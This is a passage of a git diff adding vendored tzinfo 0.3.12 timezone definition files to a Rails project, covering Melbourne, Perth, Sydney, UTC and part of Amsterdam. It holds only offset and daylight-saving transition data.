tz.transition 2014, 10, :o2, 1412438400 + tz.transition 2015, 4, :o1, 1428163200 + tz.transition 2015, 10, :o2, 1443888000 + tz.transition 2016, 4, :o1, 1459612800 + tz.transition 2016, 10, :o2, 1475337600 + tz.transition 2017, 4, :o1, 1491062400 + tz.transition 2017, 9, :o2, 1506787200 + tz.transition 2018, 3, :o1, 1522512000 + tz.transition 2018, 10, :o2, 1538841600 + tz.transition 2019, 4, :o1, 1554566400 + tz.transition 2019, 10, :o2, 1570291200 + tz.transition 2020, 4, :o1, 1586016000 + tz.transition 2020, 10, :o2, 1601740800 + tz.transition 2021, 4, :o1, 1617465600 + tz.transition 2021, 10, :o2, 1633190400 + tz.transition 2022, 4, :o1, 1648915200 + tz.transition 2022, 10, :o2, 1664640000 + tz.transition 2023, 4, :o1, 1680364800 + tz.transition 2023, 9, :o2, 1696089600 + tz.transition 2024, 4, :o1, 1712419200 + tz.transition 2024, 10, :o2, 1728144000 + tz.transition 2025, 4, :o1, 1743868800 + tz.transition 2025, 10, :o2, 1759593600 + tz.transition 2026, 4, :o1, 1775318400 + tz.transition 2026, 10, :o2, 1791043200 + tz.transition 2027, 4, :o1, 1806768000 + tz.transition 2027, 10, :o2, 1822492800 + tz.transition 2028, 4, :o1, 1838217600 + tz.transition 2028, 9, :o2, 1853942400 + tz.transition 2029, 3, :o1, 1869667200 + tz.transition 2029, 10, :o2, 1885996800 + tz.transition 2030, 4, :o1, 1901721600 + tz.transition 2030, 10, :o2, 1917446400 + tz.transition 2031, 4, :o1, 1933171200 + tz.transition 2031, 10, :o2, 1948896000 + tz.transition 2032, 4, :o1, 1964620800 + tz.transition 2032, 10, :o2, 1980345600 + tz.transition 2033, 4, :o1, 1996070400 + tz.transition 2033, 10, :o2, 2011795200 + tz.transition 2034, 4, :o1, 2027520000 + tz.transition 2034, 9, :o2, 2043244800 + tz.transition 2035, 3, :o1, 2058969600 + tz.transition 2035, 10, :o2, 2075299200 + tz.transition 2036, 4, :o1, 2091024000 + tz.transition 2036, 10, :o2, 2106748800 + tz.transition 2037, 4, :o1, 2122473600 + tz.transition 2037, 10, :o2, 2138198400 + tz.transition 2038, 4, :o1, 14793103, 6 + tz.transition 2038, 10, :o2, 14794195, 6 + tz.transition 2039, 4, :o1, 14795287, 6 + tz.transition 2039, 10, :o2, 14796379, 6 + tz.transition 2040, 3, :o1, 14797471, 6 + tz.transition 2040, 10, :o2, 14798605, 6 + tz.transition 2041, 4, :o1, 14799697, 6 + tz.transition 2041, 10, :o2, 14800789, 6 + tz.transition 2042, 4, :o1, 14801881, 6 + tz.transition 2042, 10, :o2, 14802973, 6 + tz.transition 2043, 4, :o1, 14804065, 6 + tz.transition 2043, 10, :o2, 14805157, 6 + tz.transition 2044, 4, :o1, 14806249, 6 + tz.transition 2044, 10, :o2, 14807341, 6 + tz.transition 2045, 4, :o1, 14808433, 6 + tz.transition 2045, 9, :o2, 14809525, 6 + tz.transition 2046, 3, :o1, 14810617, 6 + tz.transition 2046, 10, :o2, 14811751, 6 + tz.transition 2047, 4, :o1, 14812843, 6 + tz.transition 2047, 10, :o2, 14813935, 6 + tz.transition 2048, 4, :o1, 14815027, 6 + tz.transition 2048, 10, :o2, 14816119, 6 + tz.transition 2049, 4, :o1, 14817211, 6 + tz.transition 2049, 10, :o2, 14818303, 6 + tz.transition 2050, 4, :o1, 14819395, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb new file mode 100644 index 00000000..c1304488 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb @@ -0,0 +1,185 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Melbourne + include TimezoneDefinition + + timezone 'Australia/Melbourne' do |tz| + tz.offset :o0, 34792, 0, :LMT + tz.offset :o1, 36000, 0, :EST + tz.offset :o2, 36000, 3600, :EST + + tz.transition 1895, 1, :o1, 26062831051, 10800 + tz.transition 1916, 12, :o2, 3486569881, 1440 + tz.transition 1917, 3, :o1, 19370497, 8 + tz.transition 1941, 12, :o2, 14582161, 6 + tz.transition 1942, 3, :o1, 19443577, 8 + tz.transition 1942, 9, :o2, 14583775, 6 + tz.transition 1943, 3, :o1, 19446489, 8 + tz.transition 1943, 10, :o2, 14586001, 6 + tz.transition 1944, 3, :o1, 19449401, 8 + tz.transition 1971, 10, :o2, 57686400 + tz.transition 1972, 2, :o1, 67968000 + tz.transition 1972, 10, :o2, 89136000 + tz.transition 1973, 3, :o1, 100022400 + tz.transition 1973, 10, :o2, 120585600 + tz.transition 1974, 3, :o1, 131472000 + tz.transition 1974, 10, :o2, 152035200 + tz.transition 1975, 3, :o1, 162921600 + tz.transition 1975, 10, :o2, 183484800 + tz.transition 1976, 3, :o1, 194976000 + tz.transition 1976, 10, :o2, 215539200 + tz.transition 1977, 3, :o1, 226425600 + tz.transition 1977, 10, :o2, 246988800 + tz.transition 1978, 3, :o1, 257875200 + tz.transition 1978, 10, :o2, 278438400 + tz.transition 1979, 3, :o1, 289324800 + tz.transition 1979, 10, :o2, 309888000 + tz.transition 1980, 3, :o1, 320774400 + tz.transition 1980, 10, :o2, 341337600 + tz.transition 1981, 2, :o1, 352224000 + tz.transition 1981, 10, :o2, 372787200 + tz.transition 1982, 3, :o1, 384278400 + tz.transition 1982, 10, :o2, 404841600 + tz.transition 1983, 3, :o1, 415728000 + tz.transition 1983, 10, :o2, 436291200 + tz.transition 1984, 3, :o1, 447177600 + tz.transition 1984, 10, :o2, 467740800 + tz.transition 1985, 3, :o1, 478627200 + tz.transition 1985, 10, :o2, 499190400 + tz.transition 1986, 3, :o1, 511286400 + tz.transition 1986, 10, :o2, 530035200 + tz.transition 1987, 3, :o1, 542736000 + tz.transition 1987, 10, :o2, 561484800 + tz.transition 1988, 3, :o1, 574790400 + tz.transition 1988, 10, :o2, 594144000 + tz.transition 1989, 3, :o1, 606240000 + tz.transition 1989, 10, :o2, 625593600 + tz.transition 1990, 3, :o1, 637689600 + tz.transition 1990, 10, :o2, 657043200 + tz.transition 1991, 3, :o1, 667929600 + tz.transition 1991, 10, :o2, 688492800 + tz.transition 1992, 2, :o1, 699379200 + tz.transition 1992, 10, :o2, 719942400 + tz.transition 1993, 3, :o1, 731433600 + tz.transition 1993, 10, :o2, 751996800 + tz.transition 1994, 3, :o1, 762883200 + tz.transition 1994, 10, :o2, 783446400 + tz.transition 1995, 3, :o1, 796147200 + tz.transition 1995, 10, :o2, 814896000 + tz.transition 1996, 3, :o1, 828201600 + tz.transition 1996, 10, :o2, 846345600 + tz.transition 1997, 3, :o1, 859651200 + tz.transition 1997, 10, :o2, 877795200 + tz.transition 1998, 3, :o1, 891100800 + tz.transition 1998, 10, :o2, 909244800 + tz.transition 1999, 3, :o1, 922550400 + tz.transition 1999, 10, :o2, 941299200 + tz.transition 2000, 3, :o1, 954000000 + tz.transition 2000, 8, :o2, 967305600 + tz.transition 2001, 3, :o1, 985449600 + tz.transition 2001, 10, :o2, 1004198400 + tz.transition 2002, 3, :o1, 1017504000 + tz.transition 2002, 10, :o2, 1035648000 + tz.transition 2003, 3, :o1, 1048953600 + tz.transition 2003, 10, :o2, 1067097600 + tz.transition 2004, 3, :o1, 1080403200 + tz.transition 2004, 10, :o2, 1099152000 + tz.transition 2005, 3, :o1, 1111852800 + tz.transition 2005, 10, :o2, 1130601600 + tz.transition 2006, 4, :o1, 1143907200 + tz.transition 2006, 10, :o2, 1162051200 + tz.transition 2007, 3, :o1, 1174752000 + tz.transition 2007, 10, :o2, 1193500800 + tz.transition 2008, 4, :o1, 1207411200 + tz.transition 2008, 10, :o2, 1223136000 + tz.transition 2009, 4, :o1, 1238860800 + tz.transition 2009, 10, :o2, 1254585600 + tz.transition 2010, 4, :o1, 1270310400 + tz.transition 2010, 10, :o2, 1286035200 + tz.transition 2011, 4, :o1, 1301760000 + tz.transition 2011, 10, :o2, 1317484800 + tz.transition 2012, 3, :o1, 1333209600 + tz.transition 2012, 10, :o2, 1349539200 + tz.transition 2013, 4, :o1, 1365264000 + tz.transition 2013, 10, :o2, 1380988800 + tz.transition 2014, 4, :o1, 1396713600 + tz.transition 2014, 10, :o2, 1412438400 + tz.transition 2015, 4, :o1, 1428163200 + tz.transition 2015, 10, :o2, 1443888000 + tz.transition 2016, 4, :o1, 1459612800 + tz.transition 2016, 10, :o2, 1475337600 + tz.transition 2017, 4, :o1, 1491062400 + tz.transition 2017, 9, :o2, 1506787200 + tz.transition 2018, 3, :o1, 1522512000 + tz.transition 2018, 10, :o2, 1538841600 + tz.transition 2019, 4, :o1, 1554566400 + tz.transition 2019, 10, :o2, 1570291200 + tz.transition 2020, 4, :o1, 1586016000 + tz.transition 2020, 10, :o2, 1601740800 + tz.transition 2021, 4, :o1, 1617465600 + tz.transition 2021, 10, :o2, 1633190400 + tz.transition 2022, 4, :o1, 1648915200 + tz.transition 2022, 10, :o2, 1664640000 + tz.transition 2023, 4, :o1, 1680364800 + tz.transition 2023, 9, :o2, 1696089600 + tz.transition 2024, 4, :o1, 1712419200 + tz.transition 2024, 10, :o2, 1728144000 + tz.transition 2025, 4, :o1, 1743868800 + tz.transition 2025, 10, :o2, 1759593600 + tz.transition 2026, 4, :o1, 1775318400 + tz.transition 2026, 10, :o2, 1791043200 + tz.transition 2027, 4, :o1, 1806768000 + tz.transition 2027, 10, :o2, 1822492800 + tz.transition 2028, 4, :o1, 1838217600 + tz.transition 2028, 9, :o2, 1853942400 + tz.transition 2029, 3, :o1, 1869667200 + tz.transition 2029, 10, :o2, 1885996800 + tz.transition 2030, 4, :o1, 1901721600 + tz.transition 2030, 10, :o2, 1917446400 + tz.transition 2031, 4, :o1, 1933171200 + tz.transition 2031, 10, :o2, 1948896000 + tz.transition 2032, 4, :o1, 1964620800 + tz.transition 2032, 10, :o2, 1980345600 + tz.transition 2033, 4, :o1, 1996070400 + tz.transition 2033, 10, :o2, 2011795200 + tz.transition 2034, 4, :o1, 2027520000 + tz.transition 2034, 9, :o2, 2043244800 + tz.transition 2035, 3, :o1, 2058969600 + tz.transition 2035, 10, :o2, 2075299200 + tz.transition 2036, 4, :o1, 2091024000 + tz.transition 2036, 10, :o2, 2106748800 + tz.transition 2037, 4, :o1, 2122473600 + tz.transition 2037, 10, :o2, 2138198400 + tz.transition 2038, 4, :o1, 14793103, 6 + tz.transition 2038, 10, :o2, 14794195, 6 + tz.transition 2039, 4, :o1, 14795287, 6 + tz.transition 2039, 10, :o2, 14796379, 6 + tz.transition 2040, 3, :o1, 14797471, 6 + tz.transition 2040, 10, :o2, 14798605, 6 + tz.transition 2041, 4, :o1, 14799697, 6 + tz.transition 2041, 10, :o2, 14800789, 6 + tz.transition 2042, 4, :o1, 14801881, 6 + tz.transition 2042, 10, :o2, 14802973, 6 + tz.transition 2043, 4, :o1, 14804065, 6 + tz.transition 2043, 10, :o2, 14805157, 6 + tz.transition 2044, 4, :o1, 14806249, 6 + tz.transition 2044, 10, :o2, 14807341, 6 + tz.transition 2045, 4, :o1, 14808433, 6 + tz.transition 2045, 9, :o2, 14809525, 6 + tz.transition 2046, 3, :o1, 14810617, 6 + tz.transition 2046, 10, :o2, 14811751, 6 + tz.transition 2047, 4, :o1, 14812843, 6 + tz.transition 2047, 10, :o2, 14813935, 6 + tz.transition 2048, 4, :o1, 14815027, 6 + tz.transition 2048, 10, :o2, 14816119, 6 + tz.transition 2049, 4, :o1, 14817211, 6 + tz.transition 2049, 10, :o2, 14818303, 6 + tz.transition 2050, 4, :o1, 14819395, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb new file mode 100644 index 00000000..d9e66f14 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb @@ -0,0 +1,37 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Perth + include TimezoneDefinition + + timezone 'Australia/Perth' do |tz| + tz.offset :o0, 27804, 0, :LMT + tz.offset :o1, 28800, 0, :WST + tz.offset :o2, 28800, 3600, :WST + + tz.transition 1895, 11, :o1, 17377402883, 7200 + tz.transition 1916, 12, :o2, 3486570001, 1440 + tz.transition 1917, 3, :o1, 58111493, 24 + tz.transition 1941, 12, :o2, 9721441, 4 + tz.transition 1942, 3, :o1, 58330733, 24 + tz.transition 1942, 9, :o2, 9722517, 4 + tz.transition 1943, 3, :o1, 58339469, 24 + tz.transition 1974, 10, :o2, 152042400 + tz.transition 1975, 3, :o1, 162928800 + tz.transition 1983, 10, :o2, 436298400 + tz.transition 1984, 3, :o1, 447184800 + tz.transition 1991, 11, :o2, 690314400 + tz.transition 1992, 2, :o1, 699386400 + tz.transition 2006, 12, :o2, 1165082400 + tz.transition 2007, 3, :o1, 1174759200 + tz.transition 2007, 10, :o2, 1193508000 + tz.transition 2008, 3, :o1, 1206813600 + tz.transition 2008, 10, :o2, 1224957600 + tz.transition 2009, 3, :o1, 1238263200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb new file mode 100644 index 00000000..9062bd7c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb @@ -0,0 +1,185 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Australia + module Sydney + include TimezoneDefinition + + timezone 'Australia/Sydney' do |tz| + tz.offset :o0, 36292, 0, :LMT + tz.offset :o1, 36000, 0, :EST + tz.offset :o2, 36000, 3600, :EST + + tz.transition 1895, 1, :o1, 52125661727, 21600 + tz.transition 1916, 12, :o2, 3486569881, 1440 + tz.transition 1917, 3, :o1, 19370497, 8 + tz.transition 1941, 12, :o2, 14582161, 6 + tz.transition 1942, 3, :o1, 19443577, 8 + tz.transition 1942, 9, :o2, 14583775, 6 + tz.transition 1943, 3, :o1, 19446489, 8 + tz.transition 1943, 10, :o2, 14586001, 6 + tz.transition 1944, 3, :o1, 19449401, 8 + tz.transition 1971, 10, :o2, 57686400 + tz.transition 1972, 2, :o1, 67968000 + tz.transition 1972, 10, :o2, 89136000 + tz.transition 1973, 3, :o1, 100022400 + tz.transition 1973, 10, :o2, 120585600 + tz.transition 1974, 3, :o1, 131472000 + tz.transition 1974, 10, :o2, 152035200 + tz.transition 1975, 3, :o1, 162921600 + tz.transition 1975, 10, :o2, 183484800 + tz.transition 1976, 3, :o1, 194976000 + tz.transition 1976, 10, :o2, 215539200 + tz.transition 1977, 3, :o1, 226425600 + tz.transition 1977, 10, :o2, 246988800 + tz.transition 1978, 3, :o1, 257875200 + tz.transition 1978, 10, :o2, 278438400 + tz.transition 1979, 3, :o1, 289324800 + tz.transition 1979, 10, :o2, 309888000 + tz.transition 1980, 3, :o1, 320774400 + tz.transition 1980, 10, :o2, 341337600 + tz.transition 1981, 2, :o1, 352224000 + tz.transition 1981, 10, :o2, 372787200 + tz.transition 1982, 4, :o1, 386697600 + tz.transition 1982, 10, :o2, 404841600 + tz.transition 1983, 3, :o1, 415728000 + tz.transition 1983, 10, :o2, 436291200 + tz.transition 1984, 3, :o1, 447177600 + tz.transition 1984, 10, :o2, 467740800 + tz.transition 1985, 3, :o1, 478627200 + tz.transition 1985, 10, :o2, 499190400 + tz.transition 1986, 3, :o1, 511286400 + tz.transition 1986, 10, :o2, 530035200 + tz.transition 1987, 3, :o1, 542736000 + tz.transition 1987, 10, :o2, 562089600 + tz.transition 1988, 3, :o1, 574790400 + tz.transition 1988, 10, :o2, 594144000 + tz.transition 1989, 3, :o1, 606240000 + tz.transition 1989, 10, :o2, 625593600 + tz.transition 1990, 3, :o1, 636480000 + tz.transition 1990, 10, :o2, 657043200 + tz.transition 1991, 3, :o1, 667929600 + tz.transition 1991, 10, :o2, 688492800 + tz.transition 1992, 2, :o1, 699379200 + tz.transition 1992, 10, :o2, 719942400 + tz.transition 1993, 3, :o1, 731433600 + tz.transition 1993, 10, :o2, 751996800 + tz.transition 1994, 3, :o1, 762883200 + tz.transition 1994, 10, :o2, 783446400 + tz.transition 1995, 3, :o1, 794332800 + tz.transition 1995, 10, :o2, 814896000 + tz.transition 1996, 3, :o1, 828201600 + tz.transition 1996, 10, :o2, 846345600 + tz.transition 1997, 3, :o1, 859651200 + tz.transition 1997, 10, :o2, 877795200 + tz.transition 1998, 3, :o1, 891100800 + tz.transition 1998, 10, :o2, 909244800 + tz.transition 1999, 3, :o1, 922550400 + tz.transition 1999, 10, :o2, 941299200 + tz.transition 2000, 3, :o1, 954000000 + tz.transition 2000, 8, :o2, 967305600 + tz.transition 2001, 3, :o1, 985449600 + tz.transition 2001, 10, :o2, 1004198400 + tz.transition 2002, 3, :o1, 1017504000 + tz.transition 2002, 10, :o2, 1035648000 + tz.transition 2003, 3, :o1, 1048953600 + tz.transition 2003, 10, :o2, 1067097600 + tz.transition 2004, 3, :o1, 1080403200 + tz.transition 2004, 10, :o2, 1099152000 + tz.transition 2005, 3, :o1, 1111852800 + tz.transition 2005, 10, :o2, 1130601600 + tz.transition 2006, 4, :o1, 1143907200 + tz.transition 2006, 10, :o2, 1162051200 + tz.transition 2007, 3, :o1, 1174752000 + tz.transition 2007, 10, :o2, 1193500800 + tz.transition 2008, 4, :o1, 1207411200 + tz.transition 2008, 10, :o2, 1223136000 + tz.transition 2009, 4, :o1, 1238860800 + tz.transition 2009, 10, :o2, 1254585600 + tz.transition 2010, 4, :o1, 1270310400 + tz.transition 2010, 10, :o2, 1286035200 + tz.transition 2011, 4, :o1, 1301760000 + tz.transition 2011, 10, :o2, 1317484800 + tz.transition 2012, 3, :o1, 1333209600 + tz.transition 2012, 10, :o2, 1349539200 + tz.transition 2013, 4, :o1, 1365264000 + tz.transition 2013, 10, :o2, 1380988800 + tz.transition 2014, 4, :o1, 1396713600 + tz.transition 2014, 10, :o2, 1412438400 + tz.transition 2015, 4, :o1, 1428163200 + tz.transition 2015, 10, :o2, 1443888000 + tz.transition 2016, 4, :o1, 1459612800 + tz.transition 2016, 10, :o2, 1475337600 + tz.transition 2017, 4, :o1, 1491062400 + tz.transition 2017, 9, :o2, 1506787200 + tz.transition 2018, 3, :o1, 1522512000 + tz.transition 2018, 10, :o2, 1538841600 + tz.transition 2019, 4, :o1, 1554566400 + tz.transition 2019, 10, :o2, 1570291200 + tz.transition 2020, 4, :o1, 1586016000 + tz.transition 2020, 10, :o2, 1601740800 + tz.transition 2021, 4, :o1, 1617465600 + tz.transition 2021, 10, :o2, 1633190400 + tz.transition 2022, 4, :o1, 1648915200 + tz.transition 2022, 10, :o2, 1664640000 + tz.transition 2023, 4, :o1, 1680364800 + tz.transition 2023, 9, :o2, 1696089600 + tz.transition 2024, 4, :o1, 1712419200 + tz.transition 2024, 10, :o2, 1728144000 + tz.transition 2025, 4, :o1, 1743868800 + tz.transition 2025, 10, :o2, 1759593600 + tz.transition 2026, 4, :o1, 1775318400 + tz.transition 2026, 10, :o2, 1791043200 + tz.transition 2027, 4, :o1, 1806768000 + tz.transition 2027, 10, :o2, 1822492800 + tz.transition 2028, 4, :o1, 1838217600 + tz.transition 2028, 9, :o2, 1853942400 + tz.transition 2029, 3, :o1, 1869667200 + tz.transition 2029, 10, :o2, 1885996800 + tz.transition 2030, 4, :o1, 1901721600 + tz.transition 2030, 10, :o2, 1917446400 + tz.transition 2031, 4, :o1, 1933171200 + tz.transition 2031, 10, :o2, 1948896000 + tz.transition 2032, 4, :o1, 1964620800 + tz.transition 2032, 10, :o2, 1980345600 + tz.transition 2033, 4, :o1, 1996070400 + tz.transition 2033, 10, :o2, 2011795200 + tz.transition 2034, 4, :o1, 2027520000 + tz.transition 2034, 9, :o2, 2043244800 + tz.transition 2035, 3, :o1, 2058969600 + tz.transition 2035, 10, :o2, 2075299200 + tz.transition 2036, 4, :o1, 2091024000 + tz.transition 2036, 10, :o2, 2106748800 + tz.transition 2037, 4, :o1, 2122473600 + tz.transition 2037, 10, :o2, 2138198400 + tz.transition 2038, 4, :o1, 14793103, 6 + tz.transition 2038, 10, :o2, 14794195, 6 + tz.transition 2039, 4, :o1, 14795287, 6 + tz.transition 2039, 10, :o2, 14796379, 6 + tz.transition 2040, 3, :o1, 14797471, 6 + tz.transition 2040, 10, :o2, 14798605, 6 + tz.transition 2041, 4, :o1, 14799697, 6 + tz.transition 2041, 10, :o2, 14800789, 6 + tz.transition 2042, 4, :o1, 14801881, 6 + tz.transition 2042, 10, :o2, 14802973, 6 + tz.transition 2043, 4, :o1, 14804065, 6 + tz.transition 2043, 10, :o2, 14805157, 6 + tz.transition 2044, 4, :o1, 14806249, 6 + tz.transition 2044, 10, :o2, 14807341, 6 + tz.transition 2045, 4, :o1, 14808433, 6 + tz.transition 2045, 9, :o2, 14809525, 6 + tz.transition 2046, 3, :o1, 14810617, 6 + tz.transition 2046, 10, :o2, 14811751, 6 + tz.transition 2047, 4, :o1, 14812843, 6 + tz.transition 2047, 10, :o2, 14813935, 6 + tz.transition 2048, 4, :o1, 14815027, 6 + tz.transition 2048, 10, :o2, 14816119, 6 + tz.transition 2049, 4, :o1, 14817211, 6 + tz.transition 2049, 10, :o2, 14818303, 6 + tz.transition 2050, 4, :o1, 14819395, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb new file mode 100644 index 00000000..28b2c6a0 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb @@ -0,0 +1,16 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Etc + module UTC + include TimezoneDefinition + + timezone 'Etc/UTC' do |tz| + tz.offset :o0, 0, 0, :UTC + + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb new file mode 100644 index 00000000..2d0c95c4 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb @@ -0,0 +1,228 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Amsterdam + include TimezoneDefinition + + timezone 'Europe/Amsterdam' do |tz| + tz.offset :o0, 1172, 0, :LMT + tz.offset :o1, 1172, 0, :AMT + tz.offset :o2, 1172, 3600, :NST + tz.offset :o3, 1200, 3600, :NEST + tz.offset :o4, 1200, 0, :NET + tz.offset :o5, 3600, 3600, :CEST + tz.offset :o6, 3600, 0, :CET + + tz.transition 1834, 12, :o1, 51651636907, 21600 + tz.transition 1916, 4, :o2, 52293264907, 21600 + tz.transition 1916, 9, :o1, 52296568807, 21600 + tz.transition 1917, 4, :o2, 52300826707, 21600 + tz.transition 1917, 9, :o1, 52304153107, 21600 + tz.transition 1918, 4, :o2, 52308386707, 21600 + tz.transition 1918, 9, :o1, 52312317907, 21600 + tz.transition 1919, 4, :o2, 52316400307, 21600 + tz.transition 1919, 9, :o1, 52320180307, 21600 + tz.transition 1920, 4, :o2, 52324262707, 21600 + tz.transition 1920, 9, :o1, 52328042707, 21600 + tz.transition 1921, 4, :o2, 52332125107, 21600 + tz.transition 1921, 9, :o1, 52335905107, 21600 + tz.transition 1922, 3, :o2, 52339814707, 21600 + tz.transition 1922, 10, :o1, 52344048307, 21600 + tz.transition 1923, 6, :o2, 52349145907, 21600 + tz.transition 1923, 10, :o1, 52351910707, 21600 + tz.transition 1924, 3, :o2, 52355690707, 21600 + tz.transition 1924, 10, :o1, 52359773107, 21600 + tz.transition 1925, 6, :o2, 52365021907, 21600 + tz.transition 1925, 10, :o1, 52367635507, 21600 + tz.transition 1926, 5, :o2, 52372452307, 21600 + tz.transition 1926, 10, :o1, 52375497907, 21600 + tz.transition 1927, 5, :o2, 52380336307, 21600 + tz.transition 1927, 10, :o1, 52383360307, 21600 + tz.transition 1928, 5, :o2, 52388241907, 21600 + tz.transition 1928, 10, :o1, 52391373907, 21600 + tz.transition 1929, 5, :o2, 52396125907, 21600 + tz.transition 1929, 10, :o1, 52399236307, 21600 + tz.transition 1930, 5, :o2, 52404009907, 21600 + tz.transition 1930, 10, :o1, 52407098707, 21600 + tz.transition 1931, 5, :o2, 52411893907, 21600 + tz.transition 1931, 10, :o1, 52414961107, 21600 + tz.transition 1932, 5, :o2, 52419950707, 21600 + tz.transition 1932, 10, :o1, 52422823507, 21600 + tz.transition 1933, 5, :o2, 52427683507, 21600 + tz.transition 1933, 10, :o1, 52430837107, 21600 + tz.transition 1934, 5, :o2, 52435567507, 21600 + tz.transition 1934, 10, :o1, 52438699507, 21600 + tz.transition 1935, 5, :o2, 52443451507, 21600 + tz.transition 1935, 10, :o1, 52446561907, 21600 + tz.transition 1936, 5, :o2, 52451357107, 21600 + tz.transition 1936, 10, :o1, 52454424307, 21600 + tz.transition 1937, 5, :o2, 52459392307, 21600 + tz.transition 1937, 6, :o3, 52460253607, 21600 + tz.transition 1937, 10, :o4, 174874289, 72 + tz.transition 1938, 5, :o3, 174890417, 72 + tz.transition 1938, 10, :o4, 174900497, 72 + tz.transition 1939, 5, :o3, 174916697, 72 + tz.transition 1939, 10, :o4, 174927209, 72 + tz.transition 1940, 5, :o5, 174943115, 72 + tz.transition 1942, 11, :o6, 58335973, 24 + tz.transition 1943, 3, :o5, 58339501, 24 + tz.transition 1943, 10, :o6, 58344037, 24 + tz.transition 1944, 4, :o5, 58348405, 24 + tz.transition 1944, 10, :o6, 58352773, 24 + tz.transition 1945, 4, :o5, 58357141, 24 + tz.transition 1945, 9, :o6, 58361149, 24 + tz.transition 1977, 4, :o5, 228877200 + tz.transition 1977, 9, :o6, 243997200 + tz.transition 1978, 4, :o5, 260326800 + tz.transition 1978, 10, :o6, 276051600 + tz.transition 1979, 4, :o5, 291776400 + tz.transition 1979, 9, :o6, 307501200 + tz.transition 1980, 4, :o5, 323830800 + tz.transition 1980, 9, :o6, 338950800 + tz.transition 1981, 3, :o5, 354675600 + tz.transition 1981, 9, :o6, 370400400 + tz.transition 1982, 3, :o5, 386125200 + tz.transition 1982, 9, :o6, 401850000 + tz.transition 1983, 3, :o5, 417574800 + tz.transition 1983, 9, :o6, 433299600 + tz.transition 1984, 3, :o5, 449024400 + tz.transition 1984, 9, :o6, 465354000 + tz.transition 1985, 3, :o5, 481078800 + tz.transition 1985, 9, :o6, 496803600 + tz.transition 1986, 3, :o5, 512528400 + tz.transition 1986, 9, :o6, 528253200 + tz.transition 1987, 3, :o5, 543978000 + tz.transition 1987, 9, :o6, 559702800 + tz.transition 1988, 3, :o5, 575427600 + tz.transition 1988, 9, :o6, 591152400 + tz.transition 1989, 3, :o5, 606877200 + tz.transition 1989, 9, :o6, 622602000 + tz.transition 1990, 3, :o5, 638326800 + tz.transition 1990, 9, :o6, 654656400 + tz.transition 1991, 3, :o5, 670381200 + tz.transition 1991, 9, :o6, 686106000 + tz.transition 1992, 3, :o5, 701830800 + tz.transition 1992, 9, :o6, 717555600 + tz.transition 1993, 3, :o5, 733280400 + tz.transition 1993, 9, :o6, 749005200 + tz.transition 1994, 3, :o5, 764730000 + tz.transition 1994, 9, :o6, 780454800 + tz.transition 1995, 3, :o5, 796179600 + tz.transition 1995, 9, :o6, 811904400 + tz.transition 1996, 3, :o5, 828234000 + tz.transition 1996, 10, :o6, 846378000 + tz.transition 1997, 3, :o5, 859683600 + tz.transition 1997, 10, :o6, 877827600 + tz.transition 1998, 3, :o5, 891133200 + tz.transition 1998, 10, :o6, 909277200 + tz.transition 1999, 3, :o5, 922582800 + tz.transition 1999, 10, :o6, 941331600 + tz.transition 2000, 3, :o5, 954032400 + tz.transition 2000, 10, :o6, 972781200 + tz.transition 2001, 3, :o5, 985482000 + tz.transition 2001, 10, :o6, 1004230800 + tz.transition 2002, 3, :o5, 1017536400 + tz.transition 2002, 10, :o6, 1035680400 + tz.transition 2003, 3, :o5, 1048986000 + tz.transition 2003, 10, :o6, 1067130000 + tz.transition 2004, 3, :o5, 1080435600 + tz.transition 2004, 10, :o6, 1099184400 + tz.transition 2005, 3, :o5, 1111885200 + tz.transition 2005, 10, :o6, 1130634000 + tz.transition 2006, 3, :o5, 1143334800 + tz.transition 2006, 10, :o6, 1162083600 + tz.transition 2007, 3, :o5, 1174784400 + tz.transition 2007, 10, :o6, 1193533200 + tz.transition 2008, 3, :o5, 1206838800 + tz.transition 2008, 10, :o6, 1224982800 + tz.transition 2009, 3, :o5, 1238288400 + tz.transition 2009, 10, :o6, 1256432400 + tz.transition 2010, 3, :o5, 1269738000 + tz.transition 2010, 10, :o6, 1288486800 + tz.transition 2011, 3, :o5, 1301187600 + tz.transition 2011, 10, :o6, 1319936400 + tz.transition 2012, 3, :o5, 1332637200 + tz.transition 2012, 10, :o6, 1351386000 + tz.transition 2013, 3, :o5, 1364691600 + tz.transition 2013, 10, :o6, 1382835600 + tz.transition 2014, 3, :o5, 1396141200 + tz.transition 2014, 10, 